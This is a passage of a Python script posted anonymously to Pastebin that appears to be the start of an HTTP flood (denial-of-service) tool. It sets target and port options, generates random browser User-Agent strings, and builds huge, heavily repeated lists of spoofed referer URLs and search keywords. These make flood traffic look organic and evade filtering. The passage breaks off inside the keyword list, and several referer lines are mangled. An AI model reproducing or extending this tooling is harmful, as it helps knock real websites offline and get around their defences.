Advertisement
Guest User

Untitled

a guest
Jun 19th, 2016
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 112.93 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #!/usr/bin/env python2
  3. #!/usr/bin/env python3
  4. #!/usr/bin/python2
  5. #!/usr/bin/python3
  6. #coding: utf-8
  7. import random
  8. import socket
  9. import threading
  10. import time
  11. import datetime
  12. import urllib2
  13. import urllib
  14. import re
  15. import sys
  16. import optparse
  17. import os
  18. import urlparse
  19. import string
  20. import random
  21. import socket
  22. import time
  23. import random
  24. import random
  25. import socket
  26. import threading
  27. import datetime
  28. import random, socket, threading, time, datetime, urllib2, urllib, re, sys, optparse, os, urlparse
  29. global term
  30. from threading import Thread
  31.  
  32. from multiprocessing import Process, Manager
  33. import urlparse, ssl
  34. import sys, getopt, random, time
  35.  
  36. import atexit
  37. from gzip import GzipFile
  38. from threading import Lock
  39. from logging import getLogger
  40. from cStringIO import StringIO
  41. from httplib import HTTPMessage
  42. from urllib import urlencode, quote
  43.  
  44. import urllib2
  45. import cookielib
  46. cookielib.debug = lambda *a: None
  47. from socket import setdefaulttimeout
  48.  
  49. if sys.version_info[0] >= 3:
  50. import http.client as httplib
  51. from urllib.parse import urlparse
  52. else:
  53. import httplib
  54. from urlparse import urlparse
  55.  
  56. # options
  57. debugMode=False
  58. consoleMode=False
  59. useProtocol="TCP"
  60. target=""
  61. port=80
  62. bluetoothMode = None
  63. bytes_len = 256
  64.  
  65. def getUserAgent():
  66. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  67. if platform == 'Macintosh':
  68. os = random.choice(['68K', 'PPC'])
  69. elif platform == 'Windows':
  70. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  71. elif platform == 'X11':
  72. os = random.choice(['Linux i686', 'Linux x86_64'])
  73. browser = random.choice(['chrome', 'firefox', 'ie'])
  74. if browser == 'chrome':
  75. webkit = str(random.randint(500, 599))
  76. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  77. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  78. elif browser == 'firefox':
  79. currentYear = datetime.date.today().year
  80. year = str(random.randint(2000, currentYear))
  81. month = random.randint(1, 12)
  82. if month < 10:
  83. month = '0' + str(month)
  84. else:
  85. month = str(month)
  86. day = random.randint(1, 30)
  87. if day < 10:
  88. day = '0' + str(day)
  89. else:
  90. day = str(day)
  91. gecko = year + month + day
  92. version = str(random.randint(1, 21)) + '.0'
  93. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  94. elif browser == 'ie':
  95. version = str(random.randint(1, 10)) + '.0'
  96. engine = str(random.randint(1, 5)) + '.0'
  97. option = random.choice([True, False])
  98. if option == True:
  99. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  100. else:
  101. token = ''
  102. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  103.  
  104. def referer_list():
  105. global headers_referers
  106. headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  107. headers_referers.append('http://www.google.com/?q=')
  108. headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  109. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  110. headers_referers.append('http://www.google.com/translate?u=')
  111. headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  112. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  113. headers_referers.append('http://www.bing.com/search?q=')
  114. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  115. headers_referers.append('https://play.google.com/store/search?q=')
  116. headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  117. headers_referers.append('http://vk.com/profile.php?redirect=')
  118. headers_referers.append('http://www.usatoday.com/search/results?q=')
  119. headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  120. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  121. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  122. headers_referers.append('http://yandex.ru/yandsearch?text=')
  123. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  124. headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  125. headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  126. headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  127. headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  128. headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  129. headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  130. headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  131. headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  132. headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  133. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  134. headers_referers.append('http://www.bing.com/search?q=')
  135. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  136. headers_referers.append('https://duckduckgo.com/?q=')
  137. headers_referers.append('http://www.ask.com/web?q=')
  138. headers_referers.append('http://search.aol.com/aol/search?q=')
  139. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  140. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  141. headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  142. headers_referers.append('http://host-tracker.com/check_page/?furl=')
  143. headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  144. headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  145. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  146. headers_referers.append('http://www.google.com/?q=')
  147. headers_referers.append('http://www.google.com/?q=')
  148. headers_referers.append('http://www.google.com/?q=')
  149. headers_referers.append('http://www.usatoday.com/search/results?q=')
  150. headers_referers.append('http://engadget.search.aol.com/search?q=')
  151. headers_referers.append('https://steamcommunity.com/market/search?q=')
  152. headers_referers.append('http://filehippo.com/search?q=')
  153. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  154. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  155. headers_referers.append('http://engadget.search.aol.com/search?q=')
  156. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  157. headers_referers.append('http://techtv.mit.edu/search?q=')
  158. headers_referers.append('http://www.ustream.tv/search?q=')
  159. headers_referers.append('http://www.ted.com/search?q=')
  160. headers_referers.append('http://funnymama.com/search?q=')
  161. headers_referers.append('http://itch.io/search?q=')
  162. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  163. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  164. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  165. headers_referers.append('https://play.google.com/store/search?q=')
  166. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  167. headers_referers.append('http://www.reddit.com/search?q=')
  168. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  169. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  170. headers_referers.append('http://jobs.leidos.com/search?q=')
  171. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  172. headers_referers.append('https://www.pinterest.com/search/?q=')
  173. headers_referers.append('http://millercenter.org/search?q=')
  174. headers_referers.append('https://www.npmjs.com/search?q=')
  175. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  176. headers_referers.append('http://www.shodanhq.com/search?q=')
  177. headers_referers.append('http://ytmnd.com/search?q=')
  178. headers_referers.append('http://www.google.com/?q=')
  179. headers_referers.append('http://www.google.com/?q=')
  180. headers_referers.append('http://www.google.com/?q=')
  181. headers_referers.append('http://www.usatoday.com/search/results?q=')
  182. headers_referers.append('http://engadget.search.aol.com/search?q=')
  183. headers_referers.append('https://steamcommunity.com/market/search?q=')
  184. headers_referers.append('http://filehippo.com/search?q=')
  185. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  186. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  187. headers_referers.append('http://engadget.search.aol.com/search?q=')
  188. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  189. headers_referers.append('http://techtv.mit.edu/search?q=')
  190. headers_referers.append('http://www.ustream.tv/search?q=')
  191. headers_referers.append('http://www.ted.com/search?q=')
  192. headers_referers.append('http://funnymama.com/search?q=')
  193. headers_referers.append('http://itch.io/search?q=')
  194. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  195. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  196. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  197. headers_referers.append('https://play.google.com/store/search?q=')
  198. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  199. headers_referers.append('http://www.reddit.com/search?q=')
  200. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  201. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  202. headers_referers.append('http://jobs.leidos.com/search?q=')
  203. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  204. headers_referers.append('https://www.pinterest.com/search/?q=')
  205. headers_referers.append('http://millercenter.org/search?q=')
  206. headers_referers.append('https://www.npmjs.com/search?q=')
  207. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  208. headers_referers.append('http://www.shodanhq.com/search?q=')
  209. headers_referers.append('http://ytmnd.com/search?q=')
  210. headers_referers.append('http://www.google.com/?q=')
  211. headers_referers.append('http://www.google.com/?q=')
  212. headers_referers.append('http://www.google.com/?q=')
  213. headers_referers.append('http://www.usatoday.com/search/results?q=')
  214. headers_referers.append('http://engadget.search.aol.com/search?q=')
  215. headers_referers.append('https://steamcommunity.com/market/search?q=')
  216. headers_referers.append('http://filehippo.com/search?q=')
  217. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  218. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  219. headers_referers.append('http://engadget.search.aol.com/search?q=')
  220. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  221. headers_referers.append('http://techtv.mit.edu/search?q=')
  222. headers_referers.append('http://www.ustream.tv/search?q=')
  223. headers_referers.append('http://www.ted.com/search?q=')
  224. headers_referers.append('http://funnymama.com/search?q=')
  225. headers_referers.append('http://itch.io/search?q=')
  226. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  227. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  228. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  229. headers_referers.append('https://play.google.com/store/search?q=')
  230. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  231. headers_referers.append('http://www.reddit.com/search?q=')
  232. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  233. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  234. headers_referers.append('http://jobs.leidos.com/search?q=')
  235. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  236. headers_referers.append('https://www.pinterest.com/search/?q=')
  237. headers_referers.append('http://millercenter.org/search?q=')
  238. headers_referers.append('https://www.npmjs.com/search?q=')
  239. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  240. headers_referers.append('http://www.shodanhq.com/search?q=')
  241. headers_referers.append('http://ytmnd.com/search?q=')
  242. headers_referers.append('http://www.google.com/?q=')
  243. headers_referers.append('http://www.google.com/?q=')
  244. headers_referers.append('http://www.google.com/?q=')
  245. headers_referers.append('http://www.usatoday.com/search/results?q=')
  246. headers_referers.append('http://engadget.search.aol.com/search?q=')
  247. headers_referers.append('https://steamcommunity.com/market/search?q=')
  248. headers_referers.append('http://filehippo.com/search?q=')
  249. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  250. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  251. headers_referers.append('http://engadget.search.aol.com/search?q=')
  252. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  253. headers_referers.append('http://techtv.mit.edu/search?q=')
  254. headers_referers.append('http://www.ustream.tv/search?q=')
  255. headers_referers.append('http://www.ted.com/search?q=')
  256. headers_referers.append('http://funnymama.com/search?q=')
  257. headers_referers.append('http://itch.io/search?q=')
  258. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  259. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  260. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  261. headers_referers.append('https://play.google.com/store/search?q=')
  262. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  263. headers_referers.append('http://www.reddit.com/search?q=')
  264. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  265. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  266. headers_referers.append('http://jobs.leidos.com/search?q=')
  267. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  268. headers_referers.append('https://www.pinterest.com/search/?q=')
  269. headers_referers.append('http://millercenter.org/search?q=')
  270. headers_referers.append('https://www.npmjs.com/search?q=')
  271. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  272. headers_referers.append('http://www.shodanhq.com/search?q=')
  273. headers_referers.append('http://ytmnd.com/search?q=')
  274. headers_referers.append('http://coccoc.com/search#query=')
  275. headers_referers.append('http://www.search.com/search?q=')
  276. headers_referers.append('http://www.google.com/?q=')
  277. headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  278. headers_referers.append('http://vk.com/profile.php?redirect=')
  279. headers_referers.append('http://www.usatoday.com/search/results?q=')
  280. headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  281. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  282. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  283. headers_referers.append('http://yandex.ru/yandsearch?text=')
  284. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  285. headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  286. headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  287. headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  288. headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  289. headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  290. headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  291. headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  292. headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  293. headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  294. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  295. headers_referers.append('http://www.bing.com/search?q=')
  296. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  297. headers_referers.append('https://duckduckgo.com/?q=')
  298. headers_referers.append('http://www.ask.com/web?q=')
  299. headers_referers.append('http://search.aol.com/aol/search?q=')
  300. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  301. headers_referers.append('https://www.facebook.com/search/results/?init=quick&q=')
  302. headers_referers.append('http://blekko.com/#ws/?q=')
  303. headers_referers.append('http://www.infomine.com/search/?q=')
  304. headers_referers.append('https://twitter.com/search?q=')
  305. headers_referers.append('http://www.wolframalpha.com/input/?i=')
  306. headers_referers.append('http://host-tracker.com/check_page/?furl=')
  307. headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  308. headers_referers.append('http://www.google.com/translate?u=')
  309. headers_referers.append('http://anonymouse.org/cgi-bin/anon-www.cgi/')
  310. headers_referers.append('http://www.onlinewebcheck.com/?url=')
  311. headers_referers.append('http://feedvalidator.org/check.cgi?url=')
  312. headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL')
  313. headers_referers.append('http://www.translate.ru/url/translation.aspx?direction=er&sourceURL=')
  314. headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  315. headers_referers.append('http://www.pagescoring.com/website-speed-test/?url=')
  316. headers_referers.append('http://check-host.net/check-http?host=')
  317. headers_referers.append('http://checksite.us/?url=')
  318. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  319. headers_referers.append('http://www.bing.com/search?q=')
  320. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  321. headers_referers.append('http://www.google.com/?q=')
  322. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  323. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  324. headers_referers.append('http://www.shodanhq.com/search?q=')
  325. headers_referers.append('https://play.google.com/store/search?q=')
  326. headers_referers.append('http://coccoc.com/search#query=')
  327. headers_referers.append('https://w...content-available-to-author-only...m.vn/?gws_rd=ssl#q=')
  328. headers_referers.append('http://y...content-available-to-author-only...x.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  329. headers_referers.append('http://content-available-to-author-only.com/profile.php?redirect=')
  330. headers_referers.append('http://w...content-available-to-author-only...y.com/search/results?q=')
  331. headers_referers.append('http://y...content-available-to-author-only...x.ru/yandsearch?text=')
  332. headers_referers.append('http://g...content-available-to-author-only...l.ru/search?mail.ru=1&q=')
  333. headers_referers.append('http://n...content-available-to-author-only...r.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  334. headers_referers.append('http://r...content-available-to-author-only...a.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  335. headers_referers.append('http://r...content-available-to-author-only...o.com/search;_yzt=?=A7x9Q.bs67zf..')
  336. headers_referers.append('http://r...content-available-to-author-only...o.com/search;?_query?=l%t=?=?A7x..')
  337. headers_referers.append('http://g...content-available-to-author-only...l.ru/search?gay.ru.query=1&q=?abc.r..')
  338. headers_referers.append('http://n...content-available-to-author-only...r.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  339. headers_referers.append('http://w...content-available-to-author-only...e.ru/url?sa=t&rct=?j&q=&e..')
  340. headers_referers.append('http://h...content-available-to-author-only...u.com/searchResult?keywords=')
  341. headers_referers.append('http://w...content-available-to-author-only...g.com/search?q=')
  342. headers_referers.append('https://w...content-available-to-author-only...x.com/yandsearch?text=')
  343. headers_referers.append('https://d...content-available-to-author-only...o.com/?q=')
  344. headers_referers.append('http://w...content-available-to-author-only...k.com/web?q=')
  345. headers_referers.append('http://s...content-available-to-author-only...l.com/aol/search?q=')
  346. headers_referers.append('https://w...content-available-to-author-only...m.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  347. headers_referers.append('http://v...content-available-to-author-only...3.org/feed/check.cgi?url=')
  348. headers_referers.append('http://h...content-available-to-author-only...r.com/check_page/?furl=')
  349. headers_referers.append('http://w...content-available-to-author-only...r.com/url/translation.aspx?direction=er&sourceURL=')
  350. headers_referers.append('http://j...content-available-to-author-only...3.org/css-validator/validator?uri=')
  351. headers_referers.append('https://a...content-available-to-author-only...o.com/rss?url=')
  352. headers_referers.append('http://e...content-available-to-author-only...l.com/search?q=')
  353. headers_referers.append('https://s...content-available-to-author-only...y.com/market/search?q=')
  354. headers_referers.append('http://f...content-available-to-author-only...o.com/search?q=')
  355. headers_referers.append('http://w...content-available-to-author-only...t.com/site/pinterest.com/search?q=')
  356. headers_referers.append('http://e...content-available-to-author-only...e.net/wow/en/search?q=')
  357. headers_referers.append('http://e...content-available-to-author-only...l.com/search?q=')
  358. headers_referers.append('http://c...content-available-to-author-only...n.org/search?q=')
  359. headers_referers.append('http://t...content-available-to-author-only...t.edu/search?q=')
  360. headers_referers.append('http://w...content-available-to-author-only...m.tv/search?q=')
  361. headers_referers.append('http://w...content-available-to-author-only...d.com/search?q=')
  362. headers_referers.append('http://f...content-available-to-author-only...a.com/search?q=')
  363. headers_referers.append('http://i...content-available-to-author-only...h.io/search?q=')
  364. headers_referers.append('http://j...content-available-to-author-only...s.com/jobs/search?q=')
  365. headers_referers.append('http://t...content-available-to-author-only...p.org/search?q=')
  366. headers_referers.append('http://w...content-available-to-author-only...m.vn/news/vn/search&q=')
  367. headers_referers.append('https://play.google.com/store/search?q=')
  368. headers_referers.append('http://w...content-available-to-author-only...s.gov/@@tceq-search?q=')
  369. headers_referers.append('http://w...content-available-to-author-only...t.com/search?q=')
  370. headers_referers.append('http://w...content-available-to-author-only...r.com/events/search?q=')
  371. headers_referers.append('https://c...content-available-to-author-only...e.org/search?q=')
  372. headers_referers.append('http://j...content-available-to-author-only...s.com/search?q=')
  373. headers_referers.append('http://j...content-available-to-author-only...g.com/search?q=')
  374. headers_referers.append('https://w...content-available-to-author-only...t.com/search/?q=')
  375. headers_referers.append('http://m...content-available-to-author-only...r.org/search?q=')
  376. headers_referers.append('https://w...content-available-to-author-only...s.com/search?q=')
  377. headers_referers.append('http://w...content-available-to-author-only...s.uk/search?q=')
  378. headers_referers.append('http://w...content-available-to-author-only...q.com/search?q=')
  379. headers_referers.append('http://www.search.com/search?q=')
  380. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  381. headers_referers.append('https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&url=')
  382. headers_referers.append('https://www.facebook.com/l.php?u=')
  383. headers_referers.append('https://www.facebook.com/l.php?u=')
  384. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  385. headers_referers.append('http://www.google.com/translate?u=')
  386. headers_referers.append('http://downforeveryoneorjustme.com/')
  387. headers_referers.append('http://www.slickvpn.com/go-dark/browse.php?u=')
  388. headers_referers.append('https://www.megaproxy.com/go/_mp_framed?')
  389. headers_referers.append('http://scanurl.net/?u=')
  390. headers_referers.append('http://www.isup.me/')
  391. headers_referers.append('http://check-host.net/check-tcp?host=')
  392. headers_referers.append('http://check-host.net/check-dns?host=')
  393. headers_referers.append('http://check-host.net/check-ping?host=')
  394. headers_referers.append('http://www.currentlydown.com/')
  395. headers_referers.append('http://check-host.net/check-ping?host=')
  396. headers_referers.append('http://check-host.net/check-tcp?host=')
  397. headers_referers.append('http://check-host.net/check-dns?host=')
  398. headers_referers.append('http://check-host.net/ip-info?host=')
  399. headers_referers.append('https://safeweb.norton.com/report/show?url=')
  400. headers_referers.append('http://www.webproxy.net/view?q=')
  401. headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  402. headers_referers.append('https://anonysurfer.com/a2/index.php?q=')
  403. headers_referers.append('http://analiz.web.tr/en/www/')
  404. headers_referers.append('https://plus.google.com/share?url=')
  405. headers_referers.append('http://' + host + '/')
  406. return(headers_referers)
  407. def keyword_list():
  408. global keyword_top
  409. keyword_top.append('Sex')
  410. keyword_top.append('Robin Williams')
  411. keyword_top.append('World Cup')
  412. keyword_top.append('Ca Si Le Roi')
  413. keyword_top.append('Ebola')
  414. keyword_top.append('Malaysia Airlines Flight 370')
  415. keyword_top.append('ALS Ice Bucket Challenge')
  416. keyword_top.append('Flappy Bird')
  417. keyword_top.append('Conchita Wurst')
  418. keyword_top.append('ISIS')
  419. keyword_top.append('Frozen')
  420. keyword_top.append('014 Sochi Winter Olympics')
  421. keyword_top.append('IPhone')
  422. keyword_top.append('Samsung Galaxy S5')
  423. keyword_top.append('Nexus 6')
  424. keyword_top.append('Moto G')
  425. keyword_top.append('Samsung Note 4')
  426. keyword_top.append('LG G3')
  427. keyword_top.append('Xbox One')
  428. keyword_top.append('Apple Watch')
  429. keyword_top.append('Nokia X')
  430. keyword_top.append('Ipad Air')
  431. keyword_top.append('Facebook')
  432. keyword_top.append('DVHT')
  433. keyword_top.append('VHS')
  434. keyword_top.append('THT')
  435. keyword_top.append('GLT')
  436. keyword_top.append('WT')
  437. keyword_top.append('LUX')
  438. keyword_top.append('Darius')
  439. keyword_top.append('Garen')
  440. keyword_top.append('Master Yi')
  441. keyword_top.append('Rengar')
  442. keyword_top.append('Katarina')
  443. keyword_top.append('Shen')
  444. keyword_top.append('Maphile')
  445. keyword_top.append('Support')
  446. keyword_top.append('Mid')
  447. keyword_top.append('Top')
  448. keyword_top.append('Bot')
  449. keyword_top.append('AD')
  450. keyword_top.append('Fucking')
  451. keyword_top.append('Diana')
  452. keyword_top.append('Kotex')
  453. keyword_top.append('BCS')
  454. keyword_top.append('ZingSpeed')
  455. keyword_top.append('Firerush')
  456. keyword_top.append('1Shot')
  457. keyword_top.append('TruyKich')
  458. keyword_top.append('IPhone')
  459. keyword_top.append('Star War')
  460. keyword_top.append('Windows 10')
  461. keyword_top.append('Zens Phone')
  462. keyword_top.append('Son Tung M-TP')
  463. keyword_top.append('Viurs')
  464. keyword_top.append('RIP Face')
  465. keyword_top.append('tao quan')
  466. keyword_top.append('gia xang')
  467. keyword_top.append('Roll Royce')
  468. keyword_top.append('Hai VL')
  469. keyword_top.append('Be Trang ss')
  470. keyword_top.append('FIFA')
  471. keyword_top.append('Bill Gate')
  472. keyword_top.append('UFO')
  473. keyword_top.append('Microsoft')
  474. keyword_top.append('Mark Zuckerberg')
  475. keyword_top.append('youtube')
  476. keyword_top.append('facebook')
  477. keyword_top.append('download')
  478. keyword_top.append('movies')
  479. keyword_top.append('google')
  480. keyword_top.append('streaming')
  481. keyword_top.append('hotmail')
  482. keyword_top.append('facebook login')
  483. keyword_top.append('internet')
  484. keyword_top.append('yahoo')
  485. keyword_top.append('madasfish')
  486. keyword_top.append('antivirus software')
  487. keyword_top.append('ebay')
  488. keyword_top.append('yahoo mail')
  489. keyword_top.append('craigslist')
